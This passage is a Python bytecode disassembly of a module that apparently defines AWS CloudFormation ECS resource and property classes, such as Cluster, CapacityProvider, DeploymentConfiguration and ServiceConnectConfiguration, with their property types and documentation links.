'ProxyConfiguration' MAKE_FUNCTION LOAD_CONST 'ProxyConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME ProxyConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object RuntimePlatform at 0x7fab702cd5d0, file "f.py", line 763> LOAD_CONST 'RuntimePlatform' MAKE_FUNCTION LOAD_CONST 'RuntimePlatform' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME RuntimePlatform LOAD_BUILD_CLASS LOAD_CONST <code object DockerVolumeConfiguration at 0x7fab702cd300, file "f.py", line 777> LOAD_CONST 'DockerVolumeConfiguration' MAKE_FUNCTION LOAD_CONST 'DockerVolumeConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME DockerVolumeConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object AuthorizationConfig at 0x7fab702cdc90, file "f.py", line 791> LOAD_CONST 'AuthorizationConfig' MAKE_FUNCTION LOAD_CONST 'AuthorizationConfig' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME AuthorizationConfig LOAD_BUILD_CLASS LOAD_CONST <code object EFSVolumeConfiguration at 0x7fab702cdd20, file "f.py", line 802> LOAD_CONST 'EFSVolumeConfiguration' MAKE_FUNCTION LOAD_CONST 'EFSVolumeConfiguration' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME EFSVolumeConfiguration LOAD_BUILD_CLASS LOAD_CONST <code object Host at 0x7fab702cd6f0, file "f.py", line 816> LOAD_CONST 'Host' MAKE_FUNCTION LOAD_CONST 'Host' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME Host LOAD_BUILD_CLASS LOAD_CONST <code object Volume at 0x7fab702cd420, file "f.py", line 826> LOAD_CONST 'Volume' MAKE_FUNCTION LOAD_CONST 'Volume' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME Volume LOAD_BUILD_CLASS LOAD_CONST <code object TaskDefinition at 0x7fab702cd1e0, file "f.py", line 840> LOAD_CONST 'TaskDefinition' MAKE_FUNCTION LOAD_CONST 'TaskDefinition' LOAD_NAME AWSObject CALL_FUNCTION STORE_NAME TaskDefinition LOAD_BUILD_CLASS LOAD_CONST <code object Scale at 0x7fab702cda50, file "f.py", line 868> LOAD_CONST 'Scale' MAKE_FUNCTION LOAD_CONST 'Scale' LOAD_NAME AWSProperty CALL_FUNCTION STORE_NAME Scale LOAD_BUILD_CLASS LOAD_CONST <code object TaskSet at 0x7fab702cdb70, file "f.py", line 879> LOAD_CONST 'TaskSet' MAKE_FUNCTION LOAD_CONST 'TaskSet' LOAD_NAME AWSObject CALL_FUNCTION STORE_NAME TaskSet LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ManagedScaling' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ManagedScaling <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-capacityprovider-managedscaling.html>`__\n ' STORE_NAME __doc__ LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME validate_scaling_step_size LOAD_CONST False BUILD_TUPLE LOAD_NAME validate_scaling_step_size LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME validate_target_capacity LOAD_CONST False BUILD_TUPLE LOAD_CONST ('InstanceWarmupPeriod', 'MaximumScalingStepSize', 'MinimumScalingStepSize', 'Status', 'TargetCapacity') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AutoScalingGroupProvider' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `AutoScalingGroupProvider <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-capacityprovider-autoscalinggroupprovider.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME ManagedScaling LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('AutoScalingGroupArn', 'ManagedDraining', 'ManagedScaling', 'ManagedTerminationProtection') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CapacityProvider' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `CapacityProvider <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-capacityprovider.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AWS::ECS::CapacityProvider' STORE_NAME resource_type LOAD_NAME AutoScalingGroupProvider LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME Tags LOAD_CONST False BUILD_TUPLE LOAD_CONST ('AutoScalingGroupProvider', 'Name', 'Tags') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CapacityProviderStrategyItem' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `CapacityProviderStrategyItem <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-capacityproviderstrategyitem.html>`__\n ' STORE_NAME __doc__ LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Base', 'CapacityProvider', 'Weight') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ExecuteCommandLogConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ExecuteCommandLogConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-executecommandlogconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('CloudWatchEncryptionEnabled', 'CloudWatchLogGroupName', 'S3BucketName', 'S3EncryptionEnabled', 'S3KeyPrefix') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ExecuteCommandConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ExecuteCommandConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-executecommandconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME ExecuteCommandLogConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('KmsKeyId', 'LogConfiguration', 'Logging') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ClusterConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ClusterConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-clusterconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'ExecuteCommandConfiguration' LOAD_NAME ExecuteCommandConfiguration LOAD_CONST False BUILD_TUPLE BUILD_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ClusterSetting' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ClusterSetting <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-clustersettings.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Name', 'Value') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceConnectDefaults' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceConnectDefaults <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-cluster-serviceconnectdefaults.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'Namespace' LOAD_NAME str LOAD_CONST False BUILD_TUPLE BUILD_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Cluster' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Cluster <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-cluster.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AWS::ECS::Cluster' STORE_NAME resource_type LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME ClusterSetting BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME ClusterConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME CapacityProviderStrategyItem BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME ServiceConnectDefaults LOAD_CONST False BUILD_TUPLE LOAD_NAME Tags LOAD_CONST False BUILD_TUPLE LOAD_CONST ('CapacityProviders', 'ClusterName', 'ClusterSettings', 'Configuration', 'DefaultCapacityProviderStrategy', 'ServiceConnectDefaults', 'Tags') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CapacityProviderStrategy' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `CapacityProviderStrategy <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-clustercapacityproviderassociations-capacityproviderstrategy.html>`__\n ' STORE_NAME __doc__ LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Base', 'CapacityProvider', 'Weight') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ClusterCapacityProviderAssociations' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ClusterCapacityProviderAssociations <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-clustercapacityproviderassociations.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AWS::ECS::ClusterCapacityProviderAssociations' STORE_NAME resource_type LOAD_NAME str BUILD_LIST LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME CapacityProviderStrategy BUILD_LIST LOAD_CONST True BUILD_TUPLE LOAD_CONST ('CapacityProviders', 'Cluster', 'DefaultCapacityProviderStrategy') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PrimaryTaskSet' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `PrimaryTaskSet <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-primarytaskset.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AWS::ECS::PrimaryTaskSet' STORE_NAME resource_type LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_CONST ('Cluster', 'Service', 'TaskSetId') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DeploymentAlarms' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `DeploymentAlarms <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-deploymentalarms.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str BUILD_LIST LOAD_CONST True BUILD_TUPLE LOAD_NAME boolean LOAD_CONST True BUILD_TUPLE LOAD_NAME boolean LOAD_CONST True BUILD_TUPLE LOAD_CONST ('AlarmNames', 'Enable', 'Rollback') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DeploymentCircuitBreaker' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `DeploymentCircuitBreaker <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-deploymentcircuitbreaker.html>`__\n ' STORE_NAME __doc__ LOAD_NAME boolean LOAD_CONST True BUILD_TUPLE LOAD_NAME boolean LOAD_CONST True BUILD_TUPLE LOAD_CONST ('Enable', 'Rollback') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DeploymentConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `DeploymentConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-deploymentconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME DeploymentAlarms LOAD_CONST False BUILD_TUPLE LOAD_NAME DeploymentCircuitBreaker LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Alarms', 'DeploymentCircuitBreaker', 'MaximumPercent', 'MinimumHealthyPercent') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DeploymentController' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `DeploymentController <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-deploymentcontroller.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'Type' LOAD_NAME str LOAD_CONST False BUILD_TUPLE BUILD_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LoadBalancer' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `LoadBalancer <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-loadbalancer.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME validate_network_port LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ContainerName', 'ContainerPort', 'LoadBalancerName', 'TargetGroupArn') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AwsvpcConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `AwsvpcConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-awsvpcconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_CONST ('AssignPublicIp', 'SecurityGroups', 'Subnets') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NetworkConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `NetworkConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-networkconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AwsvpcConfiguration' LOAD_NAME AwsvpcConfiguration LOAD_CONST False BUILD_TUPLE BUILD_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PlacementConstraint' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `PlacementConstraint <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-taskdefinitionplacementconstraint.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME placement_constraint_validator LOAD_CONST True BUILD_TUPLE LOAD_CONST ('Expression', 'Type') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PlacementStrategy' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `PlacementStrategy <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-placementstrategy.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME placement_strategy_validator LOAD_CONST True BUILD_TUPLE LOAD_CONST ('Field', 'Type') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Secret' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Secret <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-secret.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_CONST ('Name', 'ValueFrom') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LogConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `LogConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-logconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME dict LOAD_CONST False BUILD_TUPLE LOAD_NAME Secret BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_CONST ('LogDriver', 'Options', 'SecretOptions') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceConnectClientAlias' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceConnectClientAlias <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnectclientalias.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST True BUILD_TUPLE LOAD_CONST ('DnsName', 'Port') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceConnectTlsCertificateAuthority' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceConnectTlsCertificateAuthority <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnecttlscertificateauthority.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AwsPcaAuthorityArn' LOAD_NAME str LOAD_CONST False BUILD_TUPLE BUILD_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceConnectTlsConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceConnectTlsConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnecttlsconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME ServiceConnectTlsCertificateAuthority LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('IssuerCertificateAuthority', 'KmsKey', 'RoleArn') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TimeoutConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `TimeoutConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-timeoutconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_CONST ('IdleTimeoutSeconds', 'PerRequestTimeoutSeconds') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceConnectService' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceConnectService <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnectservice.html>`__\n ' STORE_NAME __doc__ LOAD_NAME ServiceConnectClientAlias BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME TimeoutConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME ServiceConnectTlsConfiguration LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ClientAliases', 'DiscoveryName', 'IngressPortOverride', 'PortName', 'Timeout', 'Tls') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceConnectConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceConnectConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-serviceconnectconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME boolean LOAD_CONST True BUILD_TUPLE LOAD_NAME LogConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME ServiceConnectService BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Enabled', 'LogConfiguration', 'Namespace', 'Services') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceRegistry' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceRegistry <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskset-serviceregistry.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ContainerName', 'ContainerPort', 'Port', 'RegistryArn') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'EBSTagSpecification' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `EBSTagSpecification <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-ebstagspecification.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME Tags LOAD_CONST False BUILD_TUPLE LOAD_CONST ('PropagateTags', 'ResourceType', 'Tags') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceManagedEBSVolumeConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceManagedEBSVolumeConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-servicemanagedebsvolumeconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME EBSTagSpecification BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Encrypted', 'FilesystemType', 'Iops', 'KmsKeyId', 'RoleArn', 'SizeInGiB', 'SnapshotId', 'TagSpecifications', 'Throughput', 'VolumeType') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ServiceVolumeConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ServiceVolumeConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-service-servicevolumeconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME ServiceManagedEBSVolumeConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_CONST ('ManagedEBSVolume', 'Name') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ 